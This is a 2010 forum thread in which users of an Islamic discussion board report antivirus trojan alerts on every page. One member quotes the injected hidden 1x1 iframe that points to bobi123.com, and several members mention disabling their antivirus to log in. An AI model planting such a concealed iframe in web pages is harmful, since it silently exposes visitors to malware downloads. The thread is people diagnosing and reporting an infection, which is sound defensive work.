Possible Trojan link

**AabiruSabeel** · 09-16-2010

Is anyone getting their media player opened automatically trying to play a file from bobi123.com whenever you log on IB?

I am getting this whenever I try to come here on IslamicBoard.

Kaspersky is detecting a trojan.

**Snowflake** · 09-19-2010

I'm using Avast!. I've got it set up to scan web traffic. Each page click on LI brings up a message 'threat has been detected'.

This is because "bobi123.com" is added as a hidden frame on all pages of LI. My antivirus will not allow this so it doesn't let the full page load.

The problem has not been solved yet. Rashad, zAk, Sajid really need to do something.

Hopefully the admins will sort it soon inshaAllah.

Originally Posted by мυѕℓιмαн 4 ℓιfє

May i ask a Q,pleaseee. . .

What does Encrypt mean?

Not sure sis. Sorry : )

**Danah** · 09-19-2010

Originally Posted by Bedouin

This is so annoying. Every page there's an anti-virus message and the page isn't allowed to load properly. <_<

same here!

I get a notification on every page I open. All from this bobi123.com

**abdussattar** · 09-19-2010

Okay, so I have been trying to visit the forum from yesterday, but I was not able to. When I tried in a Different browser, It started, and then said "malware detected" and then stopped. So I paused the antivirus protection and now I am able to Login... so I want ask if everyone is experiencing this problem or only me...

**Woodrow** · 09-19-2010

It does seem to be happening to several members. There is another thread reporting this. I don't think it has anything to do with the forum, as it is not very wide spread among the members.

**abdussattar** · 09-19-2010

I cant open Ib unless I disable my antivirus (avast)...

**Ramadhan** · 09-19-2010

Originally Posted by Bedouin

I'm using Avast!. I've got it set up to scan web traffic. Each page click on LI brings up a message 'threat has been detected'.

This is because "bobi123.com" is added as a hidden frame on all pages of LI. My antivirus will not allow this so it doesn't let the full page load.

The problem has not been solved yet. Rashad, zAk, Sajid really need to do something.

try ad aware. My ad aware found bobi123 and completely removed it after a reboot, while my antivirus (eset nod32) did not.

**Alpha Dude** · 09-19-2010

Does your computer get infested again with bobi each time you log on to LI?

Have you scanned it again since the last time?

**Ramadhan** · 09-19-2010

After I removed it (3 or 4 days ago methinks), I haven't had any problem, but I have yet to fully scan my computer again. I schedule it for tomorrow.

**'Abd Al-Maajid** · 09-19-2010

Originally Posted by мυѕℓιмαн 4 ℓιfє

May i ask a Q,pleaseee. . .

What does Encrypt mean?

Umm...This might help. There are many freeware programs which encrypt the data. If you find it too geeky archive all your important data and protect it with a password (create a rar or zip file with password)

**Alpha Dude** · 09-19-2010

Originally Posted by naidamar

After I removed it (3 or 4 days ago methinks), I haven't had any problem, but I have yet to fully scan my computer again. I schedule it for tomorrow.

The thing is, each time you visit any page on LI, there is a hidden frame that opens the bobi website. So I wouldn't be surprised if the virus is on your computer again. Please let me know how the scan goes.

Here it is in the source of this current page:

Code:

<div><iframe src=http://bobi123.com/a/index.php width=1 height=1 style="visibility:hidden;position:absolute"></iframe></div>

Very small width/height and invisible so nobody notices it.

**cat eyes** · 09-19-2010

Originally Posted by Bedouin

I'm using Avast!. I've got it set up to scan web traffic. Each page click on LI brings up a message 'threat has been detected'.

This is because "bobi123.com" is added as a hidden frame on all pages of LI. My antivirus will not allow this so it doesn't let the full page load.

The problem has not been solved yet. Rashad, zAk, Sajid really need to do something.

thats the prob i have, it always tells me ''threat detected''

if the forum is not under attack then its users are.

**IslamicRevival** · 09-19-2010

I cannot access this site via computer as AV aborts connection due to a virus on this site, its been a few days now and its still not sorted?

People who have NO AV will be infected and will be vulnerable, this site should be blocked to access until the virus is removed.

Bad handling by the site masters in my opinion.

**aadil77** · 09-19-2010

I've had to turn off my guard cause it keeps moaning about this site

**muslimahhhh** · 09-19-2010

nothing of that sort happened here.

**Salahudeen** · 09-19-2010

This is weird, I got it once and I never got it again, did it infect me that's why my anti virus is not showing an alert any more

**Güven** · 09-19-2010

why dont i have this problem. Im using Microsoft security essentials.

**Yanal** · 09-19-2010

Originally Posted by muslimahhhh

nothing of that sort happened here.

Perhaps because you have Anti-Virus installed.

Does anyone know where the virus first came from?

**IslamicRevival** · 09-19-2010

Originally Posted by Güven

why dont i have this problem. Im using Microsoft security essentials.

Your AntiVirus may need updating, either that or the AV is not that good in detecting viruses. I would advise you to download and use either Avast or AVG for the best protection, both free and better then most paid AVs. Download from Download.com..don't worry its a reputable website.

If you do go ahead, make sure you Uninstall the current AV before instaling.